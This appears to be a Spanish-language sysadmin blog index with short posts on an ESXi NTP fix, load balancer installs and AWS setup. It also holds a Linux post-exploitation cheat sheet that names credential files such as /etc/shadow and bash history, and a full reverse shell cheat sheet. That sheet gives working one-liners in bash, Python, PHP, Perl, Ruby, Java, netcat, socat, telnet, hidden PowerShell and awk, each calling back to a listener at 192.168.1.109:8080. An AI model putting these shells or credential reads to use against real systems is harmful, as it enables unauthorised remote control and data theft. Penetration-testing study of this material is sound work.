Ago 09

ESXi el servicio NTP no responde

En algunas ocasiones aun que tengamos configurado el servicio NTP vemos que no funciona correctamente y no sincroniza la hora, esto podría deberse a que el servidor  ESXI esta utilizando NTP versión 2 y no recibe informacion contestación

Accedemos al servidor NTP y forzamos en el NTP para que vuelva a sincronizar.
Como podemos ver envia la petición pero no recibe respuesta.

tcpdump udp port 123
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:12:05.057082 IP esxi.redorbita.com > ntp.redobita.com.ntp: NTPv2, Client, length 48

 

Accedemos mediante SSH al servidor ESXI y configuramos la versión del NTP en /etc/ntp.conf

Cambiamos:

Server ntp.redorbita.com

Por:

Server ntp.redorbita.com version 3

 

 

 

:wq!

Jul 16

Instalación Zevenet community en cluster

¿Que es Zevenet?

Zevenet es una solución para el balanceo de carga  que proporciona una alta disponibilidad para servicios TCP, UDP, HTTP y HTTPS.

 

Instalación

Debemos instalar dos nodos (master y backup), en el sistema de instalación solo mostrare la instalaciónde un nodo dado que es como si instalasemos un Debian normal y corriente,

Continue reading

Jul 16

Instalación de Integria IMS en CentOS

¿Qué es Integria IMS?

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

Podemos realizar de dos formas la instalación, mediante la ISO que podemos encontrar en su repositorio https://sourceforge.net/projects/integria/files/ la  cual se realiza como cualquier instalación de GNU/Linux y la instalación desde cero la cual vamos a ver acontinuación.

 

Continue reading

Jun 10

Linux Post Exploitation Cheat Sheet

Recolección de información

 

Comandos DESCRIPCIÓN
/etc/resolv.conf Contiene los servidores DNS
/etc/motd Mensaje del dia
/etc/issue versión de la distribucuón
/etc/passwd Lista de usaurios
/etc/shadow Lista de hashes de usuario (requiere permisos de root)
/home/USUARIO/.bash_history Te muestra los comandos ejecutados por el usuario

Continue reading

Jun 03

Reverse Shell Cheat Sheet

Listener:

nc -l -v -p 8080

Bash

exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

 

exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0

 

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

bash -i >& /dev/tcp/192.168.1.109/8080 0>&1

 

bash -i &gt;&amp; /dev/tcp/192.168.1.109//8080 0&gt;&amp;1

 

TCLsh

echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.109”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

php -r ‘$sock=fsockopen(“192.168.1.109”,8080);exec(“/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3”);’

 

php -r ‘$sock=fsockopen(“192.168.1.109”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

 

php -r ‘$s=fsockopen(“192.168.1.109”,8080);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);system(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“192.168.1.109”,8080);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’

 

Perl

perl -e ‘use Socket;$i=”192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

perl -e ‘use Socket;$i=”192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”&gt;&amp;S”);open(STDOUT,”&gt;&amp;S”);open(STDERR,”&gt;&amp;S”);exec(“/bin/sh -i”);};’

 

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Ruby

 

ruby -rsocket -e’f=TCPSocket.open(“192.168.1.109”,8080).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

ruby -rsocket -e’f=TCPSocket.open(“192.168.1.109”,8080).to_i;exec sprintf(“/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d”,f,f,f)’

 

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.109″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

 

Telnel:

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p

 

rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x

 

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f

 

telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109

 

Netcat

 

nc -e /bin/sh 192.168.1.109 8080

 

/bin/sh | nc 192.168.1.109 8080

 

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p

 

Socat

socat tcp-connect:192.138.1.109:8080 exec:”bash -li”,pty,stderr,setsid,sigint,sane

 

Powershell

powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(“192.168.1.109”,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

 

AWK

 

awk ‘BEGIN {s = “/inet/tcp/0/192.168.1.109/8080”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null

 

Mar 18

Creación de un Balanceador de carga de aplicaciones con Auto escalado en AWS

En este ejemplo vamos a mostrar como implementar un balanceador de carga usando bajo AWS.

mediante esta configuración podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.

Anteriormente vimos como montar un balanceador de carga la cual contaba con dos subnet publicas y un balanceador.  En esta ocasión vamos a complicar un poco mas y contaremos con cuatro subnet, un balanceador y dos nat gateway.

 

Diagrama de red:

 

Continue reading

Mar 18

Creación de un Balanceador de carga de aplicaciones en AWS

En este ejemplo vamos a mostrar como implementar un balanceador de carga usando bajo AWS.

mediante esta configuración podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.

En este ejemplo veremos un balanceador de carga en  con dos subnet diferentes en las cuales se alojan nuestras instancias, esta entrada es una serie de varias. En las proximas entradas veremos como mejorar este balanceador.

Diagrama de red:

Continue reading

Mar 17

Crear AMI en AWS

¿Que es una AMI?

Una imagen de máquina de Amazon (AMI) proporciona la información necesaria para lanzar una instancia, que es un servidor virtual en la nube. Debe especificar una AMI de origen al lanzar una instancia. Cuando necesite varias instancias con la misma configuración, puede lanzarlas desde una misma AMI. Cuando necesite instancias con distintas configuraciones, puede usar distintas AMI para lanzarlas.

Una AMI incluye lo siguiente:

  • Una plantilla para el volumen raíz de la instancia (por ejemplo, un sistema operativo, un servidor de aplicaciones y aplicaciones)
  • Permisos de lanzamiento que controlan qué cuentas de AWS pueden utilizar la AMI para lanzar instancias
  • Un mapeo de dispositivos de bloques que especifica los volúmenes que se van a adjuntar a la instancia cuando se lance

Mas información

 

Continue reading